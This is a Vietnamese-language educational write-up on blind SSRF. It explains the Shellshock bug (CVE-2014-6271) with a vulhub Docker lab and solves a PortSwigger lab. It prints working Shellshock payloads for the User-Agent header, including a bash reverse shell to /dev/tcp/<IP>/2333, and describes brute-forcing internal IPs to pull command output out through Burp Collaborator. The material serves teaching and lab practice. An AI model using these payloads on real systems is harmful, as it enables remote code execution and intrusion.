II. Phân tích và khai thác các lỗ hổng Server-side request forgery (tiếp)
8. Lỗ hổng SSRF dạng Blind
Cũng giống với các dạng lỗ hổng blind khác, lỗ hổng Blind SSRF xảy ra khi giao diện không trả về bất kỳ thông tin nào về kết quả cuộc tấn công SSRF, nhưng payload của chúng ta vẫn được thực thi trong server back-end. Trong trường hợp giao diện trang web không trả về kết quả, cách thông dụng nhất để xác định lỗ hổng SSRF tồn tại (ở dạng blind) là sử dụng kỹ thuật out-of-band (OAST) mà đã được tôi trình bày ở mục trước. Các bạn có thể xem lại phân tích của lab Blind SSRF with out-of-band detection.
Lỗ hổng SSRF dạng blind có thể không mang lại nhiều thông tin hữu ích cũng như hướng khai thác sâu hơn do mục đích của tấn công SSRF thường là thu thập thông tin nhạy cảm. Tuy nhiên, nếu kẻ tấn công có thể tận dụng dạng lỗ hổng này một cách khéo léo, thực hiện scan máy chủ nội bộ để phát hiện các lỗ hổng còn tồn tại ở máy chủ nội bộ. Khả năng tìm kiếm các lỗ hổng trong các máy chủ nội bộ cao hơn do các nhà phát triển thường chú trọng hơn với các server public.
Để các bạn có thể hình dung rõ hơn về hậu quả mang lại từ dạng lỗ hổng Blind SSRF, chúng ta cùng phân tích CVE-2014-6271 - Lỗ hổng bảo mật Shellshock. Lỗ hỏng Shellshock xuất hiện tại các phiên bản từ GNU Bash 4.3 trở về trước.
Link môi trường Docker: https://github.com/vulhub/vulhub/tree/master/bash/CVE-2014-6271
Dựng môi trường
Khởi chạy môi trường Docker với lệnh docker-compose up -d
Sau khi dựng thành công, thu được địa chỉ, địa chỉ http://<IP>:8080/victim.cgi
chứa lỗ hỏng Shellshock và http://<IP>:8080/safe.cgi
đã được sửa lỗi. Trước khi đi vào xem xét môi trường chứa lỗi, cần thay đổi quyền ở tệp victim.cgi và safe.cgi tại /var/www/html.
Nguyên lý hoạt động
Khi gắn giá trị cho biến test
, và thực hiện in ra biến test
:
Nhưng nếu thử chạy một tiến trình con bash trước khi in ra biến test
:
Giá trị biến $test
không được in ra. Khi thoát tiến trình con thì mới có thể in ra giá trị biến test
. Điều này xảy ra là do khi chạy tiến trình con thì giá trị biến test
vẫn được lưu trong tiến trình cha. Để thực thi các lệnh với biến test
trong tiến trình con, chúng ta có thể export biến test
thành biến môi trường:
Với ý tưởng như trên, nếu chúng ta thử cài đặt một hàm thực thi test
thành hàm môi trường thì sao?
Đúng như dự đoán, hàm thực thi như bình thường. Đối với trường hợp cài đặt một đoạn string thành môi trường:
Như các bạn thấy, điều thú vị đã xảy ra: khi thực thi biến test
tại tiến trình cha thì được hiểu là string, còn khi thực thi trong tiến trình con, hệ thống lại thực thi lệnh whoami
. Do đó:
- Để thực hiện tấn công Shellshock thì kẻ tấn công cần có quyền thao tác với biến môi trường (với ví dụ string như trên) và có thể mở một tiến trình con để thực thi lệnh shell.
- Nguyên nhân lỗ hỏng xảy ra là do cơ chế hoạt động các biến môi trường trong Bash với phiên bản từ trở về trước.
Như vậy có thể xây dựng một payload để kiểm thử lỗ hỏng Shellshock như sau:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
Tại phiên bản Bash 4.3 nó đã hoạt động, giải thích về câu payload trên:
env
: đặt biến môi trường sau đó thực thi luôn câu lệnh phía saubash -c
: mở một tiến trình con bash sau đó thực thi lệnh phía sau
Cả payload hoạt động như sau: sau khi mở tiến trình con bash, hệ thống đặt biến môi trường x
và hiểu x
là một hàm tự động, do không có quy định việc kết thúc của hàm nên hệ thống đã thực thi luôn câu lệnh phía sau và in ra vulnerable, tiếp theo thực thi in ra this is a test. Bạn đọc có thể tham khảo thêm cách giải thích:
Khai thác lỗ hỏng
Do tệp .cgi
sẽ kế thừa giá trị biến môi trường từ hệ thống, nên chúng ta có thể khai thác lỗ hỏng Shellshock thông qua header User-Agent.
Payload: () { :; };echo; /usr/bin/id;
Cũng có thể tấn công với header Connection:
Payload reverse shell:
() { :; };echo; /bin/bash -i >& /dev/tcp/<IP>/2333 0>&1;
Kết thúc mục phân tích lỗ hổng blind SSRF, chúng ta cùng phân tích lab demo sau:
Phân tích lab Blind SSRF with Shellshock exploitation
Miêu tả: Trang web chứa lỗ hổng blind SSRF. Biết rằng hệ thống thực hiện tìm nạp URL qua header Referer khi người dùng thực hiện tải thông tin chi tiết sản phẩm. Để hoàn thành bài lab, chúng ta cần sử dụng Shellshock payload để truy xuất thông tin tên người dùng hiện tại của server. Với thông tin IP hệ thống trong dải 192.168.0.X mở tại cổng .
Request khi truy cập thông tin chi tiết sản phẩm:
Kiểm tra lỗ hổng blind SSRF với burp collaborator.
Scan phát hiện có thể khai thác lỗ hổng tại hai header User-Agent và Referer
Gửi request tới Intruder, header User-Agent thay bằng payload Shellshock, header Referer dùng để brute force IP hệ thống.
Khi IP server đúng, thì client Collaborator của chúng ta sẽ nhận được kết quả dòng lệnh $(whoami).
Từ đây chúng ta xác định được người dùng hiện tại là peter-mJbnDO, submit đáp án và hoàn thành bài lab:
Các tài liệu tham khảo
- https://portswigger.net/web-security/ssrf/blind
- https://github.com/vulhub/vulhub/tree/master/bash/CVE-2014-6271
- https://owasp.org/www-pdf-archive/Shellshock_-_Tudor_Enache.pdf
- https://nvd.nist.gov/vuln/detail/cve-2014-6271
- https://github.com/opsxcq/exploit-CVE-2014-6271
- https://zgao.top/bash%E7%A0%B4%E5%A3%B3%E6%BC%8F%E6%B4%9Ecve-2014-6271%E5%A4%8D%E7%8E%B0%E5%88%86%E6%9E%90/